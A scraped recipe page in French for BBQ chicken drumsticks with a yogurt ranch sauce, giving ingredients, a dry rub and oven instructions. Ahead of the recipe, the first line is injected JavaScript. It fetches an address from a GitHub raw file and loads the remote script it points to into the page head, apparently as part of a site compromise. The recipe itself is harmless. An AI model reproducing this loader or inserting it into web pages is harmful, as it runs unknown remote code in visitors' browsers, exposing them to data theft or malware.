;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});
Pilon de poulet BBQ avec sauce ranch - Haute Nutrition
Pilon de poulet BBQ avec sauce ranch
Prep Time 10 mins
Cook Time 35 mins
Total Time 45 mins
Course Main Course
Cuisine American
Servings 4 portions
Calories 251 kcal
- 16 pilon de poulet
- 200 ml Sauce piquante cholula ou autre mais pas trop épaisse
Marinade sèche
- 3 c. à soupe épices à steak
- 2 c. à soupe curcuma
- 1 c. à soupe cari
- 5 c. à soupe paprika fumé ou épices à BBQ
- 2 c. à soupe cassonade
Sauce Ranch
- 2 tasses yogourt nature sans sucre
- 2 oignons verts tranchées
- sel au gout
- poivre au gout
- 3 c. à soupe sauce anglaise
- 1 c. à soupe tabasco au goût
- 1 c. à soupe citron
- 2 tranches bacon en petits morceaux très cuits
Mélanger les ingrédients de la marinade sèche dans un pilon ou un moulin à café/épices
Enrober les pilon de la marinade sèche. Réfrigérer les pilons
Pré-chauffer le four à 400F
Cuire les pilons 25-35 minutes en les retournant à mi-cuisson
Sortir du four et ajouter sauce piquante. Servir avec sauce ranch froide
Sauce Ranch
Faire cuire le bacon au micro-ondes 6 minutes
Couper oignons verts et mélanger les ingrédients de la sauce
Mettre le bacon sur un papier absorbant et jouter à la sauce